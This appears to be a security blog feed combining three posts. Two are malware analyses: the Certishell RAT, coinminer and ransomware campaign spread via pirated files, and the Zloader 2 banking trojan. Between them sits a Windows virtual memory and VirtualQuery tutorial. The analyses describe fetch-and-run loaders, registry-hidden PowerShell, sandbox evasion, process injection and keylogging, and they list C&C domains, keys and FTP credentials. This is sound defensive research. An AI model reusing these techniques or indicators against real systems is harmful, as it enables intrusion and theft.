  • Music CD unpackers with names like Extractor.exe or Heslo.exe (Heslo means password in Czech/Slovak) that come with a password protected archive with music files.

The malicious executable downloads an executable named UnRAR.exe and a malicious archive that contains a simple RAT written in C++, AutoIT or Go.

Installer

Every executable installing this malware family contains a script similar to the one in the following picture optionally with curl.exe. This script usually shows the password to archive or start another application. The malicious part downloads a legitimate RAR extractor UnRAR.exe and a malicious archive that can be password protected and unpacks it into the %UserProfile%\.win\ folder. In the end it registers one of the unpacked files as a service, starts it and allows one of the binaries in the firewall.

I found six different methods used to pack the script into executable binary:

  1. Bat2exe
  2. Quick Batch File Compiler
  3. Compiled AutoIT version
  4. Compiled AutoIT version with obfuscated script
  5. Compiled AutoIT version with obfuscated script and packed with PELock
  6. Compiled AutoIT version with obfuscated script packed with VMProtect

RAT

There are three main variants of this RAT.  All of them use the same C&C sivpici.php5[.]sk and similar communication protocol. The most advanced is a compiled AutoIT script. This script comes in 10 different main versions. The second one is written in C++ and we found only one main version and the last one is written in Go also with one main version. 

The first time it is run, it generates a random alphanumeric string that works as an identificator for the C&C. This identificator is saved into file gen.gen for next start. The communication uses the HTTP protocol. Infected machines send the following back the C&C: 

  • pc = ComputerName,
  • os = content of SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProductName,
  • uniq = generated identifier, saved in \.win\gen.gen

with the GET method to start.php.

After a random period of time, the malware starts asking for commands using the GET method with the parameter uniq. The response is a number that has fixed meanings throughout all the versions. Commands “1” – “7” are implemented as follows:

  1. The RAT downloads a URL from /urlg.php using uniq, from this URL it downloads a file, packed.rar, then the RAT starts run.bat from the installation phase to UnRaR the package to the \.win\Lambda folder and restart the RAT. This allows the RAT to update itself and also download any other file necessary.
  2. Create a screenshot and send it with the POST method to the up.php.
  3. Send all file names from all drives to up.php.
  4. DDoS attack to a chosen IP through UDP/HTTP/PING.
  5. Get a list of all installed apps from
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
    saves it to /.win/installed.txt and send them to up.php.
  6. Get a list of all running processes, save it to /.win/processes.txt and send them to up.php.
  7. Collect log from keylogger, save it to \.win\log.txt and send it to up.php.

The RAT in the form of compiled AutoIT script has the name Winhost.exe

There is a comparison of different versions (versioning by the author of the RAT) in the following table.

Version Commands Notes
debugging 1 Command 2 opens a message box with text 222222
4 1 – 3 Registration of PC happens only once on reg.php and on connection it sends only the uniq and the version of the RAT to updaver.php
6 1 – 4 Opens /ad.php in a hidden Internet Explorer window once when the user is not interacting with the PC for at least 5 seconds and closes it after 30 seconds.
7 1 – 5
8 1 – 7 Keylogger starts with the start of the RAT.
9 1 – 7 Keylogger has colored output.
10 1 – 7 Keylogger is separate executable ( ~\.win\1.exe)
Comparission of different version of AutoIT RAT

The keylogger in versions eight and nine is copied from the official AutoIT documentation (with a few small changes) https://www.autoitscript.com/autoit3/docs/libfunctions/_WinAPI_SetWindowsHookEx.htm

Version 9 adds coloring of keys, mouse movements and clipboard in the keylogger.

The C++ RAT is named dwms.exe. It uses LibCURL to communicate with the C&C. The communication protocol is the same. The uniq identifier is saved in the fr.fr file instead of gen.gen for the AutoIT version, it also starts communication by accessing connect.php instead of start.php.

I’ve managed to find a debugging version that only has the first command implemented and returns only “Command 2” and “Command 3” to the standard output for the second and third command. After every command it answers the C&C by sending uniq and verzia (“version” in English) with GET method to online.php.

The “production” version is labeled as version A. The code is divided into two functions: 

  • LLLoad downloads the URL address of the C&C server from the pastebin and tests it by downloading /exists.txt.
  • RRRun that contains the first two commands as described above. It also uses /connect/ path for register.php, load.php, online.php and verzia.php.

To download newer versions it uses curl called from the command line.

Another difference is that screenshots taken are sent via FTP to a different domain:
freetips.php5[.]sk/public_html/SHOT.bmp
with the username sivpici and password A1B2C3D4

The RAT written in Go only has the first command implemented, but it downloads /cnct/ad.txt and it opens URLs contained on victims computer, thus we speculate it could also work as adware. 

IECache, bitly, pastebin (2016-2018)

The installation of this coinminer is similar to the RAT in the previous section. Installations use the same folder and the scripts have the same name. It usually comes as an unpacker of illegal copies of music and movies downloaded from uloz.to. It uses powershell to download and execute scripts from a bit.ly shortened address. The final stage is coinminer IECache.exe, which is usually XMRig.

Heslo.txt.exe, Crack.exe…

There is a huge variety of programs that download bit.ly-shortened Czech and Slovak sites and execute them. These programs include: GTA SA crack, Mafia, Microsoft Office, Sims, Lego Star Wars, and unpackers for music and movies. These programs usually print a message to the victim and run a malicious script in a hidden window.

The unpackers use UnRAR to unpack the archive and show the victim the password of that archive. 

Unpacker of a music album written in Python and packed with Pyinstaller. It tries to use UnRAR.exe to unpack the music, if unsuccessful, it shows password “1234”.

The cracks on the other hand just show an error message.

Result of Patcher for Counter-Strike Global Offensive. After downloading and installing the malware from Sourceforge it shows an error from the picture above.

All the installation files execute the following command with some bitly shortened site:

There are VBA scripts calling it, basic programs possibly written in C, .Net, AutoIT scripts, Golang programs, Rust programs, Redlang programs, different packers of python and batches, some of them use UPX, MPRESS, VMprotect and PELock

Red language
AutoIT
Pyinstaller
Bat obfuscator
Rust

Downloaded script

There are at least two new scripts created by the script from the site hidden behind the bit.ly shortened URL, que.vbs and run.bat.

The script also creates one of two services named Winmgr and Winservice that start que.vbs. Que.vbs only starts run.bat which downloads whats.txt contains a script downloading and starting coinminer IECache.exe.

que.vbs hash: 6f2efc19263a3f4b4f8ea8d9fd643260dce5bef599940dae02b4689862bbb362
run.bat hash: 1ad309c8ee17718fb5aacf2587bd51bddb393c0240ee63faf7f890b7093db222

Content of run.bat

In this case the pastebin contains two lines (the second line is splitted for better readability)

content of pastebin

The miner

The miner is saved as IECache.exe or ctfmon.exe.

The first miner (from June, 2018) is just XMRig that includes all command line options inside the binary. 

Most of the miners of this type I found are packed with VMProtect or Themida/Winlicense.

The more interesting one (from Jun-Jul 2018) is a compiled AutoIT script packed with VMProtect. Here again, we see that author speaks Slovak:

This script contains the XMRig as (in some cases LZMA compressed) Base64 encoded string inside a variable. The miner is decoded and started in memory.

ODBASUJ64A is “decode base64” and ODLZMUJA is “LZMA decompress”. 

In some versions, the script checks user activity and it starts different miners with different options to maximize profit with lower risk of being caught.

_PUSTITAM is executes an binary in memory

Newer samples (Since August, 2018) use sRDI or XOR encryption in memory and injection to a suspended process to hide from antivirus software.

Interesting files

Sourceforge and Github

Some of the samples used Sourceforge and Github to download malicious content, instead of small, possibly hacked websites.

It downloaded content from a repository WEB of user W33v3ly on Github and from user Dieworld on Sourceforge. On Github, the attacker once made a mistake and pushed Systemcall.exe and TestDLL.bin to the wrong repository.

Systemcall.exe hash: e9d96c6de650ada54b3788187132f525094ff7266b87c98d3dd1398c2d5c41a
TestDLL.bin hash: 1d2eda5525725f919cb4ef4412272f059abf4b6f25de5dc3b0fca4ce6ef5dd8e

The Systemcall.exe is a PE file without “MZ” in the beginning and Test.dll contains some random bytes before the PE file. The dll contains XMRig encrypted with TEA and the Systemcall.exe uses sRDI to load and run the Test.dll. 

Steam Giver

This small application written in .Net shows some hacked Steam accounts.

The malicious part downloads and installs the following scripts and downloads UnRAR and begin.rar

Install.vbs creates a task named WinD2 that starts inv.vbs upon every PC startup. Inv.vbs starts runner.bat, which starts %temp%/Microsoft/NisSrve.exe that is unpacked from begin.rar with UnRAR.exe.

Free bet tips

Betters are also targeted. We found a malicious file with the following readme file: 

The binary included only starts a cmd with the script as an argument.

All from registry keys since 2018

After 2018, I observed an updated version of the malware family. There is no need for any script file if you can have a command as a scheduled task and save enough data into registry keys. 

The infection vector is the same as in the previous case. The victim downloads and runs an executable that downloads a powershell script from a hacked website whose URL is shortened with bit.ly. This time the script is different, it creates the following task:

This task reads the value of the registry key Shell placed in HKLM\Software\a and executes its content. The script also creates the Registry key. 

Let’s focus on the value of the registry key Shell. In the following picture you will find the value I found on an infected machine.

After decoding and decompression we get an obfuscated script:

Under two layers of string formatting and replacing we get another compressed base64 encoded script:

Inside the base64 string is malicious code that tests the connection and executes code directly from the internet.

In total, I found about 40 different values of the Shell key in the wild that contain similar code with different URLs and they are obfuscated in the same way or less.

Some of the pastebins were alive. For example, one of them contains the following scripts that sends information about graphic cards to the C&C server, which can decide what to install on an infected computer. I have not found any C&C server alive.

Ransomware

Another final stage that runs from the registry keys is ransomware Athos.exe. At first it checks some tactics from https://blog.sevagas.com/IMG/pdf/BypassAVDynamics.pdf to check if it runs in the sandbox. On the sixth start it injects ransomware into another process that gets the id and encryption key from the web page googleprovider[.]ru. Then it encrypts all the files with AES-CFB and shows the following message saved on imgur (https://i.imgur[.]com/cKkSBSI.jpg). 

Translation: Your files are encrypted. If you want them back, you need your ID that you can find in Athos_ID.txt on the desktop. Keep your ID secure, if you lose it, your files can’t be recovered!!! You can recover your files with the help of the website www.g…

We also found AutoIT ransomware King Ouroboros translated to Slovak. The malware was edited to use Windows users’ GUID as encryption key and to download additional content from a different server than the original King Ouroboros.

ransomware hash: 90d99c4fe7f81533fb02cf0f1ff296cc1b2d88ea5c4c8567142bb455f435ee5b

Conclusion

Most of the methods described in this article are not new, in some cases I was able to find their source. The most interesting method is hiding the powershell script to the registry keys. 

As I found out, the author is a Slovak speaker, this corresponds with the fact that the infected files were published only on Uloz.to, therefore the victims are only from the Czech Republic and Slovakia. 

The variation of the final payload is huge. I found three different RATs, a few different packers of coinminers and ransomware that were created by the author and many more that were “available” on the internet. The initial installer, which function was to call only one command, was also created with a huge variety of tools, some of them quite obscure.

To protect against this type of threat, it is enough to download software only from trustworthy sources and use security software, like Avast Antivirus, which will act as a safety net in case you should come across a threat.

Indicators of Compromise (IoC)

The post Warez users fell for Certishell appeared first on Avast Threat Labs.

Exploring the process of virtual memory address translation and structure of a page table entry.

By: Mr. Rc
15 April 2022 at 03:33

We learned about the fundamentals of virtual memory management in the last post, as well as two Windows API functions that allow us to allocate virtual memory (VirtualAlloc) and free it (VirtualFree).
In this blog, we’ll continue our exploration of virtual memory management in Windows by learning about the how does a virtual memory address translate to a physical address, the structure of a page table in memory (explained later), what information it contains, and how we can use Window API functions to query that information and some other internals regarding the workings of virtual memory in Windows.

Table of contents:

Translation of virtual memory address

When a virtual memory address gets translated, it goes through several different translation layers where each time it’s translated, it points to a new table (which can be thought of as a structure) which also points to another table and this process is repeated until it finally gets translated into an address in the actual physical memory (RAM). The translation of these pages is done by the Memory Management Unit (MMU) of the CPU and their management is done by the Memory Manager (a component of the Windows OS). On x64 Windows, there are four tables that do this job, namely:

  • Page Map Level 4 (PML4)
  • Page Directory Pointer Table (PDPT)
  • Page Directory Table (PDT)
  • Page Table (PT)

Each of these tables contain indexes that point to the start of the next paging structure. Each of these paging structures have 512 entries. These indexes are called Page Frame Numbers (PFN) and the entries themselves are called as PxE, where x is the name of the table and E means entry, so entries inside the PML4 will be called PML4E (x = ML4), for Page Tables it will be PTE and so on.
This can be visually understood by looking at this diagram:

Virtual Memory Translation on x64 Windows
This image is probably more confusing than what you read before watching this, but let me explain so you can feel cool and get some dopamine hits.
This is simply the translation process of a virtual memory address. On the top, you can see the distribution of 48 bits (0 to 47) into division of 9 bits with one exception of 12 bits (explained later), and since we already know that on x64 systems, the addressing only happens for 48 bits, this makes sense. This explains that this top part of this fancy looking image is basically showing you the distribution of those bits.
Below them are the tables that I just talked about, you can see how each of them are pointing to some other table in coordination with the information inside the virtual memory address to finally translate to a physical memory address.

You might now have a guess of where this is going and how does the address translation takes place. Different bits inside a virtual memory address are distributed into parts and those parts contains data that tells the MMU where to look for the next entry in the next table until it finds a physical page after looking at finding the entry in the Page Table.

Now, let’s look into this distribution of bits and understand it’s work.
The first division starts from the 39th bit to 47th bit, which is a index inside the Page Map Level 4 paging structure (the address of this structure is stored in a special register, will be deeply described in a later post) and the entry at that index contains a PFN that tells the MMU where PDPT is and similarly, the bits from 30th position to 38th position tells the MMU the index of the entry inside PDPT that points to the next paging structure and this process continues until we reach the Page Table.
Once the translation process has reached the point where it has found the entry inside the Page Table which points to the address of a physical page in the RAM, the left 12 bits are used to index a specific byte in the physical page to get the exact needed data that was requested.

Understanding the structure of a PTE

Each Page Table entry has some status and protection bits set, which store information regarding the page itself. These entries tell the MMU how these pages should be managed and what is their current status.
This is how a x64 PTE looks like:

A Page Table entry on x64 Windows
As you can see, there are multiple bits (some are grouped others are not) and each of have some information regarding the page itself or it’s status. Let us understand each of them one by one so we can have a clear understanding of a Page Table entry’s structure.

Hardware bits vs. Software bits in Page Table Entries

Before talking about these bits themselves, let us understand the types of bits that are inside a PTE.
Hardware bits: Hardware bits are the bits that the MMU actually takes in consideration while translating a virtual address into a physical address.
Software and Reserved bits: These are the bits that are totally ignored by the MMU and actually used by the Memory Manager to manage pages. If you look in the diagram, you will find that bit 9 to 11 are marked as Software bits which means they are used by the Memory Manager.

Understanding the bits

Valid bit: The bit at the 0th index is the Valid bit which tells the MMU that the page for which this page table entry is, actually exists somewhere in the physical RAM and it is not paged out (explained in part one of this blog). This bit is useful because as we know, Windows uses demand paging and since some pages might not be used by a process but they might still be allocated then it’s certain that the Memory Manager will page out the unused pages from the memory to the disk. This bit helps the Memory Manager to keep track of paged and non paged memory pages.

Write bit: The bit at the 1st index is the Write bit which tells the MMU that whether the page is writeable or not. When this bit is clear (set to 0), the page is read-only and when this bit is set, we are allowed to write to that page. You can relate this with the information from the last blog post, we used the flProtect argument of the VirtualAlloc function to specify the memory protections that we wanted while allocating a page and if we use any protection that allows writing of the page then this bit will be set to 1.

Owner bit: The bit at the 2nd index is the Owner bit which tells the MMU whether the page is allowed to be accessed from the user mode or if it’s access is limited to the kernel mode. If this bit is set in the pte of a page then that page will be accessible from the user mode and if it’s not set then that page will only be accessible in the kernel mode.

Write Through bit: The bit at the 3rd index is the Write Through bit which tells the MMU to enable write through on the page. Write through is a storage method in which data is written into the cache and the corresponding main memory location at the same time. The cached data allows for fast retrieval on demand, while the same data in main memory ensures that nothing will get lost if a crash, power failure, or other system disruption occurs.

Cache Disabled bit: The bit at the 4th index is the Cache Disabled bit which tells the MMU that this page should not be cached.

Accessed bit: The bit at the 5th index is the Accessed bit which tells the MMU that this page has been accessed at least once after being mapped.

Dirty bit: The bit at the 6th index is the Dirty bit which tells the MMU that this page has been written to (there has been a write operation on this page).

Large bit: The bit at the 7th index is the Large bit which tells the MMU that this page is a large page and it maps to a page that is larger than 4KB.

Global bit: The bit at the 8th index is the Global bit which tells the MMU that this page should not be flushed to the Translation Lookaside Buffer (a caching system for recently used pages).

Copy-on-write bit (Software): The bit at the 9th index is the Copy-on-write bit, which is a Software bit and it has a special purpose. When a thread tries to access a page that is read-only (has the write bit set to 0), a memory-management exception occurs. Along with this, the Memory Manager’s fault handler checks if the Copy-on-write bit is set, if it is set then it makes a copy of that page and gives that thread the access of that copy and this copy has write access enabled so that thread will now be able to write to that data but those writes won’t affect the original page which doesn’t has the write bit set. However, if a thread tries to access a read-only page and this bit is not set then it raises the access violation exception.

Prototype bit (Software): The bit at the 10th index is the Prototype bit, which is also a Software bit and this bit is used to mark a page as a “Prototype”. This is a bit complex concept and to better understand it, you can check the resources section.

Write bit (Software): The bit at the 11th index is the Write bit, which is the last Software bit in a x64 PTE and this bit also has a quite unique usage. This may feel strange to know after everything you have learned but actually, when a page is allocated, whether it was supposed to be writeable or not, the Memory Manager initially sets the write (hardware) bit to 0, which means that all the pages are not writeable on the time of initialization and the actual way the Memory Manager knows that if a page is writeable or not is by using the 11th bit (Software Write bit). Since, the hardware write bit is set 0, every time a thread tries to write to any page for the first time, a Memory Management exception occurs and the Memory Manager checks if the bit 11 (Software Write bit) is set, if it is then it gets to know that this page is actually writeable, then it sets the Dirty bit and Write hardware bit to 1 and updates some other Memory Management information and then it dismisses the exception and then the write operation happens normally. This happens only on the first write operation on a page as the hardware write bit gets set to 1 after this process is done.
The reason it is implemented in this way is related to the existence of multiprocessors and can be understood better by reading the “Address translation” section of the Windows Internals, Part 1 7th edition book.

PFN: The 36 bits from the 12th index to the 47th index are the page frame number that we talked about earlier.

Reserved: These bits from 47th index to 62nd index are completely ignored by the MMU and only used by the Memory Manager for special purposes.

NX bit: The last and 63rd bit in a pte is the NX bit. NX stands for “no-execute” and it tells the MMU whether this page can be executed or not.

Now, since you now have the knowledge of the translation process of a virtual memory address as well the structure of a hardware PTE and you know what information it stores, it’s time for you to learn about another Windows API function which allows us to query information about a page.

GetLastError


Before we start, I would like to introduce you to a function from the Windows API, it is GetLastError. It is used to get the error code of the last error that occurred and we can get more information about the error code by looking at the error code list which is available at msdn here : System Error Codes - Win32 apps
We will be using this function in the code examples to see if there are any errors in our code.

1. VirtualQuery


This function is used to query the information of a virtual memory region (page).

Function signature

This is the syntax for VirtualQuery function:

SIZE_T VirtualQuery(
  LPCVOID                   lpAddress,
  PMEMORY_BASIC_INFORMATION lpBuffer,
  SIZE_T                    dwLength
);

Arguments

The function’s return type is SIZE_T, it’s basically an unsigned int.

lpAddress: You might already know the use of this argument if you have read the part one of this blog, it’s basically the base address of Virtual Memory region that we allocated which is returned by VirtualAlloc.

lpBuffer: This argument is a pointer to a struct. The name of this struct is _MEMORY_BASIC_INFORMATION, it is defined in winint.h. Here is how it looks like:

typedef struct _MEMORY_BASIC_INFORMATION {
  PVOID  BaseAddress;
  PVOID  AllocationBase;
  DWORD  AllocationProtect;
  WORD   PartitionId;
  SIZE_T RegionSize;
  DWORD  State;
  DWORD  Protect;
  DWORD  Type;
} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;

I’ll explain it’s members later.

dwLength: This argument is the size of the struct from the last argument.

Return value

Instead of returning anything, the function just updates the struct that we had created.

Examples

As we have learned enough about the function, let’s take a look at some examples and see the function and it’s working in action.

Example #1

Now as we have done with understanding of the function, we’ll see some code examples of the function. We are going to make a program that will give us the information about a memory region that we’ll allocate using the functions that we learned about in the last blog post. Let me show you the code first, then I will explain it:

#include <Windows.h>
#include <stdio.h>

int main()
{
    MEMORY_BASIC_INFORMATION info; 
    int ret;
    int *vm = VirtualAlloc(NULL, 8, MEM_COMMIT, PAGE_READONLY); // 8 byte allocation.
    ret = VirtualQuery(vm, &info, sizeof(info));
    if (!ret) // error checking.
    {
        printf("VirtualQuery failed\n");
        printf("The error code for the last error was %d", GetLastError());
        return 1;
    }

    switch (info.AllocationProtect)
    {
        case PAGE_EXECUTE_READ:
            printf("Protection type : EXECUTE + READ\n");
            break;
        case PAGE_READWRITE:
            printf("Protection type : READ + WRITE\n");
            break;
        case PAGE_READONLY:
            printf("Protection type : READ\n");
            break;
        default:
            printf("Not found");
            break;
    }

    switch (info.State)
    {
        case MEM_COMMIT:
            printf("Region State : Committed");
            break;
        case MEM_FREE:
            printf("Region State : Free");
            break;
        case MEM_RESERVE:
            printf("Region State : Reserve");
            break;
        default:
            break;
    }
    VirtualFree(vm, 8, MEM_RELEASE); // free the allocated memory.
    return 0;
}

I have used Windows.h instead of using any other header file because Windows.h contains almost everything that we need for doing Windows API programming.
Let’s now understand the code.
First, we have declared a struct of type MEMORY_BASIC_INFORMATION, which is the struct that we talked about, then we committed eight bytes of virtual memory which is read-only.
After that, we have used VirtualQuery function to get information about that memory region.
We gave it the address of the allocated memory region as our first parameter, then we gave the address of the info struct that will hold all the returned data from this function, then we gave it the size of our info struct.
Then, we are doing a check if the function is failed, If it’s failed then the error code can be found by using the GetLastError function.
Then, we have a switch-case clause, where we are checking the value of AllocationProtect member of our info struct. This switch-case clause will check for the protection type of the virtual memory region that was specified as the first parameter.
The constants that are being used to compare in the switch-case clause are defined in the Windows.h header file that we included.
We are then checking the value of State member from our info struct. This switch-case clause is comparing the state of the allocated virtual memory region. Then, we are just printing information according to the statements. One thing to note is that we cannot compare the value with every type of protection type or every type of memory state, I have tried doing so but I was unsuccessful, so I am have just used the types that can be compared.
Then we just free the allocated memory.

Results #1

Here’s the output that I get after running the example:

$ ./vquery-example
Protection type : READ
Region State : Committed

The results are expected, we had hardcoded the page protection to be read-only and the page state to committed and the result by the function is precise.

Example #2

This example will be quite fun. Here, I am asking the user to select which page state and page protection they want for the page and then using VirtualQuery to query the information of the allocated page and then printing it to verify with the input user gave. Here’s the code for it:

#include <Windows.h>
#include <stdio.h>

int main()
{
    MEMORY_BASIC_INFORMATION info;
    int ret;

    char state;         // used for input
    char protection;    // used for input
    int MEM_STATE;
    int MEM_PROTECTION;

    printf("Choose the page state you want to use: \n");
    printf("1. MEM_COMMIT\n");
    printf("2. MEM_RESERVE\n");
    scanf("%c", &state);
    getchar();

    switch (state)      // checking user input.
    {
    case '1':
        MEM_STATE = MEM_COMMIT;  
        break;
    case '2':
        MEM_STATE = MEM_RESERVE;        
        break;
    default:
        printf("Invalid choice!");
        exit(-1);
    }
    
    printf("Choose the page protection you want to use: \n");
    printf("1. PAGE_READONLY\n");
    printf("2. PAGE_READWRITE\n");
    printf("3. PAGE_EXECUTE_READ\n");
    scanf("%c", &protection);

    switch (protection) 
    {
    case '1':
        MEM_PROTECTION = PAGE_READONLY;        
        break;
    case '2':
        MEM_PROTECTION = PAGE_READWRITE;        
        break;
    case '3':
        MEM_PROTECTION = PAGE_EXECUTE_READ;        
        break;
    default:
        printf("Invalid choice!");
        exit(-1);
    }

    // allocating memory.
    int *vm = VirtualAlloc(NULL, 8, MEM_STATE, MEM_PROTECTION);
    printf("Address of memory returned by VirtualAlloc is %lu\n", vm);

    //querying data about that memory.  
    ret = VirtualQuery(vm, &info, sizeof(info));
    
    // error checking.
    if (!ret)
    {
        printf("VirtualQuery failed\n");
        printf("The error code for the last error was %d", GetLastError());
        return 1;
    }

    printf("Protection type : ");
    
    switch (info.AllocationProtect) // comparing protection.
    {
        case PAGE_EXECUTE_READ:
            printf("EXECUTE + READ\n");
            break;
        case PAGE_READWRITE:
            printf("READ + WRITE\n");
            break;
        case PAGE_READONLY:
            printf("READ ONLY\n");
            break;
        case PAGE_GUARD:
            printf("Guard Page\n");
            break;
        default:
            printf("%x\n", info.AllocationProtect);
            break;
    }

    printf("Region State : ");
    switch (info.State) // comparing state.
    {
        case MEM_COMMIT:
            printf("Committed");
            break;
        case MEM_FREE:
            printf("Free");
            break;
        case MEM_RESERVE:
            printf("Reserve");
            break;
        default:
            printf("Unknown");
            break;
    }

    VirtualFree(vm, 8, MEM_DECOMMIT); // free the allocated memory.
    return 0;
}

Most part of the code is similar to the code from the last example, but there are some major changes.

First, we are asking the user to choose which page state they want to allocate, then we are storing their input in a character variable state, then we are taking that input variable state and comparing it in a switch-case clause to find out which page state the user asked for, then we are setting an integer variable MEM_STATE to the constant of the page state which the user asked for and then we did the same for page protection by using the protection character variable for input and MEM_PROTECTION for storing the constant.
Next, we are allocating memory using those variables (MEM_STATE and MEM_PROTECTION) as parameters for VirtualAlloc and then we are taking the address returned by VirtualAlloc and querying the information about it from VirtualQuery, then comparing it possible constants and printing it’s state and protection.

Result #2

Here’s the output of the program:

Choose the page state you want to use: 
1. MEM_COMMIT 
2. MEM_RESERVE
1
Choose the page protection you want to use: 
1. PAGE_READONLY
2. PAGE_READWRITE
3. PAGE_EXECUTE_READ
2
Address of memory returned by VirtualAlloc is 131072
Protection type : READ + WRITE
Region State : Committed

Cool!, it works as expected.

Summary

In this post, we have learned about a lot of complex things related to Windows Virtual Memory Management. We learned about the four paging structures that are used during the translation process of a virtual memory address and the process of translation itself, then we learned about the complex structure of a Page Table Entry and then finally we learned about how we can get the error code of the last error using the GetLastError function, then we learned about the VirtualQuery function and how we can use it to query the information of a virtual memory region and then we made two small projects to see that in action. I hope you enjoyed the blog post and learned something new!
Thank you for reading!

Resources

Zloader 2: The Silent Night

14 April 2022 at 19:08

In this study we are considering one of Zeus successors – Zloader 2. We’ll show how it works and its code peculiarities. We’ll present the result of our deep dive into the botnets and campaigns and show some interesting connections between Zloader and other malware families.

Introduction

Zloader 2 (also known as Silent Night) is a multifunctional modular banking malware, aimed at providing unauthorized access to online banking systems, payment systems and other financial-related services. In addition to these functions it’s able to download and execute arbitrary files, steal files, inject arbitrary code to visited HTML pages and so on.

History

According to ZeusMuseum, first versions of Zeus were observed in 2006-2008. Later, in 2011 its source code leaked. As a result, new versions and variants appeared. One of the Zeus successors named Zloader appeared at the turn of 2016 and 2017. Finally, another successor named Silent Night appeared in 2019. It was for sale on the underground market.

The earliest version of this variant we found has a SHA256:
384f3719ba4fbcf355cc206e27f3bfca94e7bf14dd928de62ab5f74de90df34a
Timestamp 4 December 2019 and version number 1.0.2.0. In the middle of July 2021 the version 2.0.0.0 was spotted.

Microsoft recently announced a joint investigation of multiple security companies and information sharing and analysis centers (ISACs) with the aim to take down the Zloader botnet and took the whole case to court.

Although the original name of the malware likely was Silent Night and the ZeusMuseum calls it Zloader 2 we are simply going to use the name Zloader.

Technical analysis

Modules and components

Zloader consists of different modules and components:

  • Downloader – initial infector
  • Backdoor – main module, exists in x86 and x64 versions
  • VNC module (x86 and x64)
  • Web Injects – received from C&C
  • Additional libraries (openssl, sqlite, zlib, Mozilla libraries)

Backdoors, VNC modules and additional libraries have assigned module IDs that are used by other components to refer to them.

Distribution

Zloader was distributed using classic email spam. In 2021 the attackers abused Google AdWords to advertise sites with fake Zoom communication tool which actually installed Zloader. Another campaign in 2021 used fake pornsites, where users needed to download additional software to watch video. Downloaders are distributed in a packed form sometimes signed with a valid digital signature.

Map showing the distribution of infected systems:

Code peculiarities

Zloader code is very recognizable. First of all, it is diluted with functions which will never be called. Downloader module may contain functions from the Backdoor module and vice versa. In total, about a half of the code will never be called.

Second, simple x86 instructions like CMP, ADD and XOR are replaced with special functions. These functions contain a lot of useless code to complicate the analysis and they can call other “replacement” functions. To add more insult to the injury multiple “replacement” functions exist for a particular instruction. Also some constants are calculated in runtime using aforementioned “replacement” functions.

Strings are encrypted with a simple XOR algorithm.

Samples have very little imported functions. APIs are resolved in runtime by the hashes of their names.

As a result, more than a half of the file size is useless and serves as an obfuscation of simple operations.

Configuration

Both Downloader and Backdoor modules have built in configuration encrypted with RC4. The decryption key is stored in a plaintext and looks like vcvslrpvwwfanquofupxt. The structure of earlier versions (1.0.x, for example) differs from later versions (1.6.x and 1.8.x). Modern versions store the following information in config:

  • Botnet name (divader on the picture below)
  • Campaign name (xls_s_2010)
  • List of hardcoded C&Cs
  • RC4 key (03d5ae30a0bd934a23b6a7f0756aa504)

BinStorage

We have to briefly cover the BinStorage – the data format used by Zloader to communicate with C&Cs and to store various data: web injects, system information, stolen data and logs. BinStorages consists of the header and records (also called fields). Main header stores information about the number of records, data size (in bytes) and their MD5. Records have their own small headers, containing FieldID - DWORD describing the meaning of the data.

Some FieldIDs are hardcoded. For example, in FieldID=0x4E20 the last working C&C is stored. Other FieldIDs are derived from file paths (used to store stolen files).

Registry usage

Zloader modules (at least Downloaders and Backdoors) use a registry to store various data necessary for their work. The ROOT_KEY for this data is HKEY_CURRENT_USER\Software\Microsoft\

The most important and interesting data structure, stored by the Zloader in the registry is called MAIN_STRUCT. It’s subkey in the ROOT_KEY and the value name is derived from the RC4 key found in the configuration. We suppose that bots from one actor use the same RC4 key, so they can easily find and read the MAIN_STRUCT.

MAIN_STRUCT is encrypted using RC4 with the key from the configuration. It stores:

  • Registry paths to other storages, used by Zloader
  • Files and directories path, used by Zloader
  • Encryption key(s) to decrypt those storages

Files usage

Root path is %APPDATA%. Zloader creates directories with random names inside it to store modules, stolen data and logs. These paths are stored into the MAIN_STRUCT.

Networking

As was mentioned before, communication between the bot and C&C is done using BinStorages. Depending on the actual type of the message, field list may be changed, but there are 5 constant fields sent to C&C:

  • Some DWORD from the Configuration
  • Botnet name from the Configuration
  • BotID, derived from the system information
  • Debug flag from the Configuration
  • 16 random bytes

Requests are encrypted using the RC4 key from the Configuration. C&C responses are signed with RSA.

PING request

This request is used to check if C&C is alive. Response contains only random bytes sent by a bot.

DOWNLOAD MODULE request

This request is used to download modules by their ID from the C&C. The response is not in a BinStorage form!

GET CONFIG request

Used to receive configuration updates: new C&Cs, WebInjects, tasks for downloading etc.

C&Cs and DGA

As was shown before, built in configuration has a list of hardcoded C&Cs. Actually, these lists have not changed for years. To bypass blocking of these hardcoded C&Cs, Zloader uses DGA – Domain Generation Algorithm. In the Zloader, DGA produces 32 domains, based on the current date and RC4 key from the configuration.

There is a 3rd type of C&Cs – received in the response from the server. They’re stored into the Registry.

Downloader module

Analysis based on version 1.6.28.0, 44ede6e1b9be1c013f13d82645f7a9cff7d92b267778f19b46aa5c1f7fa3c10b

Function of Downloader is to download, install and run the next module – the Backdoor.

Main function

Just after the start of the Downloader module, junk code is started. It consists of many junk functions, which forms a kind of a “network”. In the image below there is a call graph from just a single junk function. These functions also trying to read, write and delete some *.txt files %TEMP%. The purpose of this is to delay the execution of the payload and, We suppose, to complicate the emulation, debugging and analysis.

The second and the last task of the Main function is to start msiexec.exe and perform the PE injection of the code into it. Injected data consists of two buffers: the big one, where the Downloader is stored in the encrypted form and the small one (0x42 bytes) with decryption code. Just after the injection Downloader terminates himself.

Injected code

Control flow passed to the small buffer, which decrypts the Downloader in the address space of msiexec.exe After the decryption, Downloader begins to execute its main task. 

First of all, the injected code tries to read MAIN_STRUCT from the registry. If this fails, it thinks it was not installed on this system and the installation process begins: MAIN_STRUCT is created, Downloader module is copied into %APPDATA% and added to the autorun key HKCU\Software\Microsoft\Windows\CurrentVersion\Run with random value name.

In any case, the Backdoor module is requested from the disk or from the network and executed.

Backdoor module

Analysis based on version 1.6.28.0, c7441a27727069ce11f8d54676f8397e85301b4d65d4d722c6b239a495fd0282

There are actually two Backdoor modules: for 32-bit systems (moduleID 0x3EE) and for 64-bit systems (moduleID 0x3E9). Downloader always requests a 32-bit Backdoor.

Backdoors are much more complicated than Downloaders. If we compare the size of our samples (after unpacking), Backdoor will be twice bigger.

Key Backdoor abilities:

  • Starting VNC module
  • Injecting WebInjects into the pages visited using browsers
  • Downloading and execute arbitrary file
  • Keylogging
  • Making screenshots
